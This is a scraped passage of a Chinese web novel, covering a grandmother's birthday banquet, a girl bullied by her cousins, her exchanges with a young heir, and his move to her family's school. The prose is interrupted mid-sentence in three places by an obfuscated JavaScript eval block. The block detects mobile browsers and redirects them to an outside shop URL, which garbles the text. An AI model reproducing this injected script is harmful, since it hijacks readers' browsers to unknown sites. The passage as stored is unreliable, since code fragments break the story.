见满屋子的人都朝她望来，不好意思不动。于是走上前，撩起裙摆在正中跪下。 “知柔给老夫人拜寿，祝老夫人如月之恒，如日之升，如南山之寿①，安乐无极。”复一叩首。 她的礼仪丝毫纠不出错，模样又生得齐整，最叫人意外的是，听她谈吐，没有一字可与粗野沾边，竟是真的读过书。 宋含锦这才第一次正眼看知柔。 她原本劝母亲带上她，是存了让她出丑的私心，谁承想宋知柔能如此应对。 许老夫人微微一哂，哪来的四丫头，不过一个外室之女，也值得带到许府来污她的眼睛。 心中不屑，面容却端得和蔼：“起来吧。” 从角落现身人前，有没见过知柔的开始低声议论，不止议论她的身世，还议论她那副奇异着装——那是许月鸳支使嬷嬷为她穿上的。 许月鸳一桩心病，就是不愿意叫自己的妹妹看了笑话。她要博一个贤良的好名声，也要叫人知道，她的婚姻并没有因为一个四丫头而变得不完满。 欲盖弥彰，过犹不及。 宜宁侯夫人在小姑娘身上睐一眼，微不可察地牵了下唇。 侯夫人许月清的容貌与许月鸳有六、七分像，只一双杏眸偏冷，自尾端略往上挑，辨不出她的年纪，仿佛卷轴上最清嘉、最端庄的仕女，岁月无法将她描画。 看着自己的姐姐弄巧成拙，她禁不住，还是笑了一声，那细微的声音落入许月鸳耳中，不由得捏紧十指。 “那便是四妹妹？” 主位右手边第二张椅子上，魏鸣瑛挪了下身子，凑近魏元瞻，小声地说：“她穿成这样，是为了扎外祖母的眼吗？” 话一出口便笑了：“她若早来几年，一定与我投契。” “你又看上她了？”魏元瞻提眉，目光投在知柔身上未动。 须臾，他唇角一勾：“你上一个‘亲’妹妹也在这。”说的是宋含锦。 魏鸣瑛听完颜色大改，瞪着他咬了咬牙。 马车上的事，魏元瞻不曾气消，眼下疏通出来，笑容都愈发真切了。 魏鸣瑛不甘心，非要反讥一句：“你的‘亲’兄弟正在看你呢！” 魏元瞻扭头，身旁宋祈羽不知是听见他们说话，还是余光扫到他的动作，适才将脸侧过来，对上他的目光。 他轻窒了一下，就听宋祈羽道：“世子有话要说？” “没有。” 魏元瞻面色收敛，不防耳畔又跌进一声：“那天，多谢世子送舍妹回来。” 他眉尖轻蹙，极快地看了宋祈羽一眼，随口答道：“举手之劳而已，表哥客气。” 宴席设在傍晚，小辈们在花厅闲坐一阵，便自去院里玩耍了。 知柔是生面孔，与谁都不熟，连自家几个都不爱理睬她。直等大家一应散去，她才跳下凳，独个儿踅入游廊。 许府的建造颇似江南园林，粉墙黛瓦，花木繁叠，阳光透过漏窗斜映出来，是一种淡墨清染的韵味。 知柔有了前日的经验，不敢走远，见廊道尽头竖一窄门，金芒氤氲，树影摇晃，不自觉踱了过去。 甫入眼帘的是一株柿子树，比飞檐还高，火红的果实曝在穹幕下，一瞬间叫她想起小娥。 在洛州，她常翻到小娥家的墙头上，帮她摘柿子吃。 往日情形与当下对比，知柔神色微暗，一时没了兴趣，呆呆的不知往哪里走。 “喂。”一个清澈的声音从背后而至。 她掉过身，还没看清来人模样，就见一个褐黄的物件朝她飞了过来，她随即伸手，稳稳地接住了。 低头去瞧，竟是一袋吃食，油纸上写着“馥香阁”三个字。若她没记错，刚才魏家姐姐怀中就揣着许多馥香阁的东西。 知柔愣了愣，有些惊讶地抬眸。 满庭辉光自少年身侧缠绕，将他的五官衬得愈发深刻。难得没冷着脸，他很自然地注视她，见她疑惑，将下颌好心一抬，点她手里的卷酥饼。 这是示意她……尝尝么？ 知柔犯了难，不明白魏元瞻突然的改变是为了什么，既不想得罪他，亦不想顺从。 油纸在掌心攥一会儿，简直越抓越烫。 魏元瞻头次遇到她这种人。 不是小孩子么，拿些吃的哄哄，就算不喜欢也会开口的吧？她是哑了还是入定了，居然一动不动地盯着他，如此直晃晃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848681|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魏元瞻先是不悦，脊梁微挺，脸上带点审视的含意，继而醒过神来，吭地咳了一下：“你和雪南先生……” 他的嗓音略显几分不自在，话至一半忽然停了，眉心轻攒着瞧她。 知柔很聪明，几乎一霎反应过来——他前日送自己回府，原是想在雪南先生面前表现。 抓着卷酥饼的指头动了动，这下不烫手了。 知柔明爽道：“我与先生只见过两回，算上前日，也不过三次而已。”她的门路是走不通的。 魏元瞻明显有些失望：“这么说，你与先生交情不深。” 知柔想了想，换了副措辞：“他是我的救命恩人。” 魏元瞻视线在她纯真的脸上稍微一停。 未几，他说：“知道了。”语气格外平和，随后折身，拔步出了窄门。 眼望他的背影将由游廊吞噬，知柔胸腔蓦地一跳，朝他的方向跑了两步。 “那天还是谢谢你！” 声音像山泉一样干净，叮叮咚咚传到魏元瞻的耳朵里，嘴角便悄悄弯了，噙着一点自己都未曾察觉的笑。 明知她不可能听见，他还是很轻地应承一句：“知道了。” 周边响起沙沙的动静，枯叶掉落到知柔肩上，又起风了。 她一手扯拢襟口，另一只手抱着那袋卷酥饼，转几道弯，在花厅附近止步。 戏台子是早就搭建好的，一溜儿彩衣浓妆的人正立身台上，水袖起落，唱腔回转，知柔轻易便被他们吸引。 她挑了个不显眼的地方站定，打开食袋，掏出一枚卷酥饼放在手中。约莫她半个拳头大小，形略鼓，油酥味丝丝缕缕扑上来，牵引她腹中馋虫。 她的确是孩子心性，此刻糕点入口，她对魏元瞻的看法都不同了。 兴许他本就是和气善良的，正如初见那般，他不曾计较她的冒失。除了傲慢些，魏世子无一处不妥。 知柔一边吃，一边看戏台上预演，冷不丁地，谁往她脑袋砸来一颗枣子。 啪嗒。 又一颗。 恰巧知柔回身，第二颗便撞在她眼下。 两个锦衣绣袄的孩子见打中了，十分自得，口中欢笑道：“田舍奴！田舍奴！” 他们都是许家男孩儿，听祖母讲，宋四姑娘是乡野来的，与她上头三位姐姐都不一样。 果然呢，她连唱戏也没瞧过，躲在这里偷觎。 知柔捂住被砸的眼睛，紧绷着脸庞。 人声杂沓，七尺红台上，戏曲未停。 男孩儿不得趣，变本加厉地欺负她，一把拽过她手中食袋，以一种专横的口气质问：“田舍奴，你哪儿偷的馥香阁的东西！” “还我！”知柔待去抢，其中一人立马把她推开。她被推得踉跄几步，肩膀微微颤抖。 纵知身在许府，她理应忍让，可泥人还有三分土性。 知柔撩袖子起手，动作却在半途僵住了。 只见一道清冽的目光落来她身上，未显多少锋芒，可知柔迎了他的视线，手心一怔。 是大哥哥。 11. 缓归客（十） 檐角的惊鸟铃萧萧作响。 庭院里，魏鸣瑛被一群小姑娘围住，个个端着甜笑与她搭话。 今日来的宾客除了侯府、宋府，还有一些许老夫人的通家之好。她们的孙女多与魏鸣瑛一般大，素日听闻魏姑娘擅汉舞，绕身若环，身轻如燕，俱盼着能见她舞上一曲。 宋含锦冷眼旁观，不时与魏鸣瑛相视上，心里憋闷，索性拎一拎裙摆起身，迈出庭院。 太阳晃着虬枝盘曲的古树，清风翦翦，宋祈羽伫在树荫下，她才走过去便不禁打个寒颤。 “哥哥。” 闻言，少年将手里的闲书合上：“怎么出来了？”一面问，一面拉她胳膊，将人带回阳光底下。 宋含锦轻声抱怨：“她们都缠着魏鸣瑛，大姐姐、二姐姐也是。我真不知道她哪里好。” 宋祈羽垂眸看她一会儿：“你不高兴了？” “我只是觉得无趣，想回府了。” 宋祈羽没有说话。 她不是真想回去，只是魏鸣瑛抢了她的乐子，没人陪她说笑罢了。 兄妹二人漫无目的地往前走，看她心情不好，宋祈羽款语温言地与她抛了好一些话，渐渐她笑起来，不见丧气颜色。 到了戏台子旁边，一阵男孩儿的欢笑声伴着唱音，混乱地闯入耳内。 宋含锦斜目一瞟，慢慢驻足：“那是宋知柔吗？” 宋祈羽顺着她的视线看去。 宋知柔被许家二子堵在偏隅，大约是嘲弄她，他很清楚地听见“田舍奴”三个字。 眸中毫无波澜，只瞥了一眼便回过头。 他不在意，更不打算管。 宋含锦却有些心虚——原本宋知柔今日不用来。她早就知道，宋知柔来了定会被外祖母挑剔，两个顽皮的表弟更不必说。 与此同时，宋祈羽抬步朝前，她犹豫须臾，动身跟上。 才迈出去两步远，她又回头，双腿是怎么也拔不动了。 与她一台之隔的那边，许家表弟竟有动手之势，宋知柔一个九岁的姑娘如何能敌？ 她是想叫她吃点苦头，却不是这种。 究竟理智占据上风，宋含锦不再观望，立刻提靴往戏台子另一头踱。 察觉她落下了，宋祈羽返身，目光朝知柔睇一眼，心知肚明。 他忙上前拉住宋含锦，温声道：“交给我。” 其实知柔并未听清宋祈羽说的话，只是被他的眼神震慑住了。大哥哥在她的印象里，一直很冷。 她像个在外淘气，却被家中长辈抓到现行的小鬼，紧张似的，将刚挽好的袖子快速搂下，往后退了两步。 不多时，知柔探见宋祈羽和许家家主在一处说话，情形间颇有向这里来的迹象。她脑子里蓦然闪了个灵光，一屁股摔坐地上，竭力大哭起来。 小孩子的哭声撕心裂肺，仿佛又平又响的吼，没有节奏可言。 两男孩儿呆了一刻，不知所措下，将那袋卷酥饼丢还给她，“砰”一声，砸在知柔脚边。 身后传来许修悯的嗓音—— “策儿？连儿？”他略微停顿，待两个男孩儿转身，便对上他严厉的视线。 “你们这是在做什么！” 见状，知柔抽抽嗒嗒止住泣音，抬袖去抹那莫须有的眼泪。 宋祈羽原是借问戏的由头将许修悯引来，不想这个四妹妹是个有主意的，瞧了一点苗头就能起火。 他将知柔扶起身，拍一拍她衣上的灰，没说什么，只是目光清冷地睨着许家表弟。 这幅模样任谁见了，都会认为他在护着宋知柔。 许修悯便是如此，他不料自己的甥儿会这般照顾一个外室之女，亦为两个不懂事的儿子感到愠怒。 许承策和许承连见了他跟鹌鹑似的，一句话都不敢说。 宋祈羽道：“舅舅，我先带四妹妹过去了。” 话罢向他揖手，轻轻推了知柔一把。她碎步轻移，很快跟着宋祈羽往花厅去了。 十月的气候，纵捧着袖炉坐在室内，尚且有些凉意。 许月鸳陪许老夫人闲话，偶然见许月清淡漠地笑着，总疑心是在笑她。 不由得端起茶杯，佯装喝了一口：“待翻了年，鸣瑛都要十三了，侯爷跟妹妹可已经有了相中的人家？” 许月清慵声答道：“不着急。” “也是，”许月鸳轻哂，“早早定下又有何用，便是青梅竹马，两相欢喜，亦有变节之时。” 语调轻飘飘的，或含讥讽，许月清恍若不闻。 正此时，一双玄色皮靴大步进门，身后跟着两阙衣影。为首的自然华贵，后一个，袖袍乱糟糟的，眼下还有团浅青。 许月鸳面容霎时不豫，把茶杯放到一边：“这是怎么了？” 许月清也往知柔身上淡睇一眼。 未待回应，许月鸳突然不想听说因由，扭头吩咐嬷嬷：“带四姑娘去换件衣裳。” 许老夫人的宴席设在花厅后一栋独立的小楼。比起称它为楼，更像一座宽广的别院，四周张灯结彩，夺目非常。 知柔随宋祈羽兄妹坐在一处，眸光时不时偷瞄宋祈羽。 有次被他发现，他没做声，只淡漠地将她一瞥。 他和宋从昭生得不十分像，他眉眼浓重，很有攻击性，分明才十二岁的少年，寻常神色中已颇具威势。 知柔顷刻间收敛目光，挟一块腊肉在嘴里无味地嚼，心想：下午扶她的人一定不是大哥哥。 周遭弹唱声起，宾客推杯换盏，语笑喧阗。 许家二子挨了训，宴席上睐到知柔，脸略微地红了，转瞬又做出一副天不怕地不怕的样子，冲她扮起鬼脸。 本以为这幅模样定能吓唬住她，谁知她竟搁下筷子，两只小手扒拉自己的下眼皮，眼珠子往后一翻，与他们回敬。 他二人愣了一下，她便咧着嘴，咯咯地笑起来。 侯府的坐席与宋府对立，魏元瞻同母亲说话时，眼光不经意掠过知柔，稍顿了顿。 不知何时她脱下那身衣裳，换了件颜色素雅的，终于把她原本的容貌变幻出来，是一个极秀气，明眸皓齿的姑娘。 烛火带着清淡的光晕蒙在她脸上，左边眼睛下泛着淤青。 他有些好奇，一会儿不见，她是遇了谁的劫？ 几阵飒风袭卷，灯影曳动，人声欲浓。 宴席过半了。 知柔望一望许老夫人，纳罕地想，果然京师的风水比较养人么？ 许老夫人坐了这么久，谈笑半日，居然不觉累。她从前去小娥家，小娥的奶奶给她们炒了一盘板栗，随后便倒去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848682|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上，响起绵长的呼声。 往事一幕幕钻上心头，她脊背微曲，眉毛和眼角一起落下来。 瞧周围各种笑颜，知柔忽然有些坐不住。她看向左右，见没人注意，便挑起一盏绢丝灯，独自退了出去。 一个人在小楼外沉闷地走，孤灯飘渺，热闹声从耳畔行远，及至一面白墙下，知柔长长吐了口浊气。 继而挨着一块太湖石捋衣坐下，灯放一边，捧腮听竹木乱摇，池面微微点起几圈涟漪。 不多时，窸窸窣窣的脚步声自一旁传近，知柔侧首，在微暗中看见一个雪青色圆领袍的身影，锦靴一抬一落，压在草地上。 是魏元瞻。 他受不了席间喧杂，出来透气，不想会在园子里遇见她。略站了站，便把步子往她那儿一挪，也撩袍坐了。 知柔仅仅睇他一眼，微笑了下，没打算与他说话。 火光照住她的侧影，睫毛密密的，鼻梁秀挺……当时他怎么没发现她是个女孩儿？ 魏元瞻盯着知柔瞧一会儿，矜持地收回目光，将心底碾了几遍的话问出口。 “你的脸怎么了？” 知柔不解其意，他指了指自己的眼睛，她醒悟道：“哦，他们拿枣子扔我。” “他们是谁？”魏元瞻吊了吊眉。 知柔未答，若有所思地看着他，过了片刻，她突然问：“你也想做雪南先生的弟子吗？” 魏元瞻微愣，随后道：“想。” “为什么？” 他不假思索：“我的祖父是赫赫有名的大将军，我会像他一样，领兵打仗，驰骋疆场。” 说着，魏元瞻仰头望向明月，口吻中颇有些骄傲的神气：“可威风了。” “可是打仗会死好多人，你有可能也会死的。”知柔不赞许地蹙眉。 她不喜欢有战火的地方，阿娘说过，一旦战事起，便是白骨露于野，千里无鸡鸣①，尤其可怖。 魏元瞻何尝不懂这个道理，他低下头，温润的眉目染上一层郁色。 知柔虽然懵懂，可有些时候又心细如发，她洞察出他的失落，马上调转话题。 “你之前为什么说是我偷了你的玉佩？” “因为碰见你之前，它还在，被你撞了以后，它就没了。” “真不是我拿的。” “哦。”他随便应着，根本没放在心上。 知柔不断去看他。 直到很久以后，她也想不通，明明她是思念小娥才逃出来，魏元瞻又跟小娥不一样，她因何会那般问他—— “你以后要和我玩吗？” 四周幽静，一高一矮两只身影坐在草丛上，旁边各有盏灯。 她的声音像一点萤火，轻轻飞过耳廓。 魏元瞻没听清，转脸回视她：“什么？” 知柔大抵鬼迷心窍，很真诚地说：“你以后要不要和我玩？我会很多东西，我可以下河摘莲藕，我还会弹弓、蹴鞠……” 她将自己全部的成就一一罗列，说的太多了，哪像是宋家的女儿，简直是一个顽猴。 魏元瞻瞧她如数家珍的模样，逐渐拨开笑颜，是不加掩饰的，十分爽朗的笑。 然后，他站起身，掸一掸袍子上粘的草屑，有点傲气，有点奚弄。 “我才不要。” 12. 缓归客（十一） 魏元瞻之后回想，也觉得自己鬼迷心窍。 他好端端的，为何要踏过去，主动和一个宋家女儿说话？禁不得深思，魏元瞻立刻放下汤匙，撩袍子跨出房门。 “爷，您一口还没吃呢！”兰晔的声音从后追赶，魏元瞻抬抬手：“不饿。”便大步朝别院去。 知道他要练功，兰晔没再多嘴，眼珠子却往他身上溜了两圈。 刚巧长淮从另一边走出来，望着魏元瞻的背影，提眉道：“今日这么早？” “可不是么，朝食也没用呢。” 兰晔摊一摊手，无奈地迈进屋替他收拾，心底隐隐觉得，他是昨日从许府回来才这样的，或许又跟大姑娘吵架了吧。 知柔昨日回去后，一夜未眠。 她极后悔，也极生气，在床上辗转反侧，一会儿皱眉，一会儿踢腿打滚，最后哼一声：“我还不和你玩呢！” 她暗下决定，往后见到魏元瞻，她再不理他了。 冬日的早晨天阴，檐下呜呜作响，风起得愈发大了。 知柔去澹玉苑请了早，又在林禾那儿待了半日。才跨进家塾，宋培玉的影子便掠至跟前。 他肩背挺得直，独一颗脑袋稍偏下来：“你这眼睛……是那天磕的？” 知柔不睬他，绕道要走。 宋培玉脚下一挪，横臂挡住去路：“你踢我的事，我还没和你清算。” “你这几日没来，是怕我吗？”他得意地笑着。 因昨夜没有睡好，知柔已有些烦躁，见他挑衅，她略微抬起头来目视他，是不耐烦的神情。 宋培玉接着说：“不如这样，你跟我低个头，说你错了，愿意不收银子给我做书童，我便饶过你。” 书童。他又提起了。 本来没什么，但从他的嘴里说出来，知柔便觉得是种侮辱。她一生气，眉棱直挺挺地揪高：“你怎么不和我低头？” 那副口吻，很有点小孩扮作大人模样，用很不屑的姿态对付他。 往日知柔话少，家塾里的人都当她是个呆的，今日她与宋十争锋相对，引来许多同窗侧目。 宋培玉有些脸热，隔了会儿，又慢慢平缓，嗤笑道：“你是什么身份，要我给你认错，小野种。” 从前在洛州，知柔没少因为这类蔑称与人动手，每回听见，她心里既委屈又气愤。 今番到了宋府，她终于有资格发泄出来，以言语的方式，傲然道：“我是父亲和阿娘的女儿！” 蓦然，门外一双影子迈过门槛，是宋祈羽兄妹走进来。 知柔堵在门边，闻后头声响，侧身让开些许，抬眸与宋祈羽的视线正正相交，略微一滞。 须臾，她敛眉道：“大哥哥，三姐姐。” 方才的话，他们显然听见了。宋含锦眼角微剔，乜了她一眼。 宋祈羽还是那副姿容，清冷得像一掊雪，唇边却噙笑，不知是嘲讽还是什么别的意思，难得应了一声：“四妹妹。” 没有多的寒暄，很快便越过她，回到自己的书案后。 宋培玉对宋祈羽这个宋家长孙，还是稍微有点忌惮，见他应承宋知柔，突然拿不准她在府中的处境，遂没再吭声，撇她一眼，抬步就走。 知柔的目光在宋祈羽背后追了一瞬，黯淡地抿一抿唇。 她看得出来，那居高临下的笑容里没有亲善，只是他一向不将厌恶溢于言辞。 待下了学，星回从廊庑小门穿行过来，将一封信递到知柔手中。她不识字，眼睛却粲然眨着：“四姑娘，里头写了什么呀？” 是知柔从起云园回来的第一日，为了感谢雪南先生帮她引开宋培玉，还给她寻医，专程写了一封信托二老爷身边的人送去起云园。 知柔一个九岁大点的孩子，所识的字并不够多，她展信一读，便稍显磕绊。 大体意思倒是读懂了，应声道：“先生问我安好，还有么……我拿回去叫阿娘帮我看看。” 说着小心收入怀中，继续往前走。 过了一程，她忽然问：“星回姐姐，就这一封吗，没有别的信了？”她挂念着小娥。 星回摇头，瞧她眼尾一耷，不知怎么了，便启声岔道：“四姑娘，昨日许老夫人的寿宴上，可有什么有趣之事？” 知柔想起魏元瞻，口中极快道：“没有。” 星回方才醒悟，忙不迭与她道歉，目光瞟到她眼下淤痕，心底又是一叹。 四姑娘真可怜。 此时，藏渊堂内。 琅琅书声随清风横亘，一名着道袍的老者剪着胳膊，鹰隼似的眼神在众学子中慢慢睃巡。 这会儿正是午后，艳阳自长窗扑洒进来，落在一双清秀有力的手上，他握着短刀与荷木，一下一下耐心削动着。 案头书页大开，其上还坐立几枚已经削好的零小物件，仔细瞧，俱是兵器的样式。 龚夫子尚未行至跟前，声音已于堂内震荡起来：“听我讲课真是委屈我们‘魏将军’了，是何处战事吃紧，你说与老夫，便赶快去，老夫不敢拖延。” 字音刚起，那双手的主人便停了动作，刀锋入鞘，被他紧紧拢在手中。 继而抻直腰，忍着厌意回道：“学生知错。” 龚夫子低哼了声，大掌一揽，将他案上所有木雕都收纳了，一如既往地提点：“魏世子，莫再为这些闲琐消耗光阴。” 魏元瞻也一如既往地充耳不闻，对龚夫子，他实在有些生厌。 一直到散学，魏元瞻把书册丢给兰晔，站起身，大剌剌地走了出去。 盛星云早从明德堂逃脱出来，守在离开书院的必经之路上等魏元瞻。 眼下看见他，十分亲热地踏步过去，勾了勾他的肩：“哎，你还去找雪南先生吗？” “去，怎么不去？” “可人先生说了，他不收徒。”盛星云瞄他两眼，见他面容无异，将琢磨许久的疑惑问出口。 “你上次把那姑娘送哪去了？你是真认识她，还是蒙雪南先生的？” 倏闻他提起宋知柔，魏元瞻一双长眉立即颦蹙，下意识里，他总认为自己不该同她有任何瓜葛。过了半晌才说：“我没蒙先生。” “哦？那她是谁家姑娘？” 魏元瞻古怪地瞥他一瞬：“你打听这么多做什么？” “打听不得吗？”盛星云眨一眨眼睫。他那副神情，浑像他隐瞒了他什么，要一探究竟。 魏元瞻有些烦了，玄英缎靴踩在古朴的青石板上，他推掉肩头的手，冷淡道：“宋府。” 盛星云反应一会儿，快走两步追上他：“哪个宋府？” 京城还有几个宋府？魏元瞻懒怠回应。盛星云挠一挠头，宋家姑娘他都见过，也没有年纪那么小的一个呀。 一面走着，他兀然想起什么，眼皮忽地撑大几许，似有所悟：“她是宋祈羽的……” 他嗓音犹低，不多时，面上升起一丝讥诮的笑：“宋祈羽如此护短，也不知对待一个半亲的妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848683|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹又是如何。” 魏元瞻没做声。 盛星云在宋祈羽那吃过苦头，提起他，口吻难免有些不悦：“你不觉得他……” “他是我的表兄。”在他后面的话脱口之前，魏元瞻抬眼将他打断了。 二人眸光短促地相衔一刹，盛星云闭了嘴，折上廊庑。 阳光自檐外倾下来，漏在少年身上，仿佛涂抹一层烟霭。二人一前一后走着，离得近，袖摆不时摩擦。 盛星云侧过脸，忍不住悄觎魏元瞻。未几，他小心道：“你生气了？” 闻言，魏元瞻眉头舒展，回过神，望了他一下，随即轻笑：“怎么可能。” “我就说吗，你怎会因为他恼了我。” 盛星云松了口气，又问：“你方才在想什么，这样入神。” “我在想，龚夫子。” 听见这个名号，盛星云的眉毛嫌恶地拧了起来：“龚岩？” 魏元瞻驻足，自廊庑转角看过去，再进一道门，便是书院夫子处理公务的求墨斋。 魏元瞻回府的时候，天已经擦黑了，门下的灯笼轻轻飘曳，投出一圈一圈澄黄的影。 他跳下马车，将拿回来的木雕在掌心把玩着，唇边洋溢一抹志得的笑。 刚踏上台阶，他的脚步慢了，目光盯着前边鸦青色道袍，脸上的笑容随其行近而一点点消逝。 少顷，那道袍的主人走到跟前，没和他开口，只是垂眸睇他一眼，与他擦肩而过。 魏元瞻回身注视片刻，转来问门上小厮：“父亲回了吗？” 小厮说没有，魏元瞻眉宇一压，跨过了门槛。 许月清不喜欢他舞刀弄枪，哪怕是玩意儿，她也觉得刺眼。 魏元瞻在进门前就把木雕交给长淮，随后挂点笑，同许月清行礼。 “回来了。”许月清将他一打量，叫婢女搬根凳子给他坐。 魏元瞻知道她有话说，收起眼底散漫颜色，恭敬地挺直腰板坐了。 许月清也不过问他在书院干的好事，直接道：“你与盛家那小子还在来往？” 听了这话，魏元瞻脸上显然有些不满：“母亲，他叫盛星云。” 许月清淡然笑了。商贾之子，她才懒得去记。 但她再嫌弃一个人也不会做在明面上，这大概是他们许家刻在骨子里的教养。有时候，魏元瞻瞧宋祈羽也是如此——冷漠，寡情，缺少一些人味儿。 “以后亭松书院，你便不必去了。”许月清说。 魏元瞻腾地站起身，傲慢矜贵的少年，谈及鄙厌之人，话语里有种盛气凛然的味道：“为什么？是龚岩那个老匹夫……” 犹未说完，许月清轻飘飘地掐断了：“不是他。” 闻他出言不逊，她身为长辈，本该循循教导，可她却连眉毛都没有动一下，语气是和缓的。 “你在家塾进学时，总是念起你的祖父，我跟侯爷怕你伤怀，这才叫你去了亭松书院念书。今番想想，却是我跟侯爷舍近求远了。” 许月清微微一笑，提醒他：“你姨父宋家也是阀阅朱门，家学渊源，世宦书香。虽然前些年是冷落了，可现今光景复明，要教你，没什么不够的。” 魏元瞻脸色极差，举止却不敢鲁莽，才要张口，许月清将茶杯撂在案上，“嗵”的一声。 “等侯爷回来，我会与他商量此事。从今往后，你就上宋府去，与你表兄妹几个一块儿读书。” 是命令，不容他反驳。 13. 饯星霜（一） 魏家，许家，宋家都是世交，魏侯爷与宋从昭自幼就相识。让魏元瞻去宋府求学，易如反掌。 这日落着毛雨，竹叶上还有晨露缓缓欲坠，地面是半湿的，到处散着一股清幽的水汽味道。 知柔把手抵在下巴颏儿下，正望着窗外雨水出神。 “四姑娘，四姑娘。”一个声音从门口低低飘进。 知柔转脸去看，星回半幅身子探在门边，朝她招了招手。她稍微一顿，继而起身踱了过去。 “这个，四姑娘拿着。”掌心被塞进一枚袖炉，热气打镂空盖里钻出来，有点麻指头。 星回道：“太太叫人拿给您，说是天冷，家学里还未点熏笼，怕您冻着。” “二太太？” “对呀。”星回扭头在廊下望了望，似乎瞄见杜老先生的衣影，忙与她称辞：“四姑娘，我下晌再来等您。” 知柔一脸困顿地捧着手炉，心想是二太太发现她在这里时常干自己的事，专程送个物件儿让她醒一醒神？ 二太太好可怕。她颤了下胳膊，吓得想将其丢掉，强自忍住了，挪步往回走。 不料视野中出现一道雪青色身影——打学堂另一扇门踱进来，他负着手，神情烦躁，其后还跟着两名身量颇高的少年。 知柔眼光微晃，生了些波澜，马上从他脸庞移开了。 “花孔雀。”她哼唧一句，回到位子上，也懒得去想他为何出现在这儿。 兰晔的目光在堂内溜达一圈，碰了碰长淮的肩膀，低声道：“爷叫我俩来是做什么的？你瞅瞅，他们都是独身。” 长淮乜他一眼，说道：“你还想跑么？爷吃苦，你享乐，什么道理。” 兰晔脸一红，竖起眉毛：“你才想跑！”便抄起手来，像个门神似的守在魏元瞻身边。 雨大了，斜刺着落进来，窗案上铺起一层密匝的水珠。 魏元瞻是不情愿到此，碍着身份礼仪，这才没把脸色摆得太臭。 他走到最前面与宋祈羽等人相互见礼，看了看，择了个靠后的座位径自坐了。 他旁边是宋培玉。 宋培玉后面，是宋知柔。 像不曾相识一般，他眸光凝在自己的文具上，眉宇淡漠，没往知柔那掠去一眼。 知柔呢，她打进家塾第一天便明白，先生讲的书是给大哥哥他们听的，她一个字也不懂，便上藏书楼拿了两本有趣的，一个人偷么着看。 至于魏元瞻——下定决心不搭理的人，于她而言，形同虚设。 宋培玉仍惦记着被知柔踹的那脚，见先生未至，他把腰间香囊卸下来，在手里掂了掂，随后转背扔在知柔案上。 “喂，送你的。” 知柔自书页间抬眼，睃了他一刹，想都没想就把香囊扔回去：“我不要。” 他给的，能是什么好东西。 “别啊。”宋培玉放回来，声音热切地说：“你打开看看。” 他神色还算寻常，是一贯的坏笑，那弯弯的眸子里闪着波光，不知是兴奋，还是别的什么。 知柔这个年纪正是对一切都十分好奇。 她搭眼去瞧，那个香囊制得独特，绣花鸟纹，置在桌上，绣样仿佛活了似的，一下一下轻微撑动着。 “你害怕？”宋培玉激她。 知柔两只手分别拉扯，把香囊打开了。 没有一点香气，只见粉状的泥土堆散出来，其间有异物蠕动。 渐渐地，她瞧清真章。 “啊——”知柔惊叫一声，慌乱着朝地面跌去。 宋培玉见状，捂着肚子哈哈大笑。 余光所及，不过两条蜈蚣游动在宋知柔的书案上，千后似有千足，稍微显得吓人些。 知柔见过蜈蚣，亦见过被蜈蚣咬了的人，她心头猛跳，后背略出一点汗意。 “你就这点胆子啊。”头顶那烦人的声音仍在起伏。 他们动静闹得大，几乎所有人都朝这里投来目光。 知柔羞愤至极，白璧般的脸颊染满酡色。 犹气不过，她努力镇定下来，从地上爬起身，拿一只笔，胡乱戳引着把蜈蚣往宋培玉肩头甩。 魏元瞻的位子离他二人最近，起初听见宋培玉和宋知柔搭话，他有些纳闷，继而感觉聒噪，最后皱眉忍了一会儿，才要拔座，袖口承来一个从天而降的物什儿。 垂目一看，竟然是条蜈蚣——他们嬉戏打闹用的角儿。 魏元瞻哼着笑了两声，睥睨手边黑影，忽一振袖，又给掷回知柔脚下。 知柔恨得牙痒，却被他一左一右两个母鸡护雏般的随从注目着，不敢造次，只好躲到老远骂宋培玉，叫他把蜈蚣抓走。 好容易得来捉弄她的机会，宋培玉哪肯罢休？ 可不知为何，他半歪着脑袋笑一阵，突然改了主意，三两步走过去，将蜈蚣引入香囊，转而落回座位上，一双眼好奇地睐向魏元瞻。 等到下晌散学，雨渐渐停了，地面上左一块右一块囫囵的水渍。 宋培玉见魏元瞻要走，忙跟上去：“魏世子留步！” 前面的身影顿足，折过来，不动声色地将他一打量：“什么事？” 宋培玉先同他揖了一礼，笑道：“世子日后都和我们一处读书了吗？” “难说。”魏元瞻吝于多言，手里握着个什么，一半掩在袖袍下，看不分明。 宋培玉不觉垂着眼瞧了一会儿，冷不丁听他问：“还有话？” 方才抬头，见他长眉微挑，模样是疏淡有礼的，可字里行间流露出一种拒绝的架势。 他不愿和他交谈。 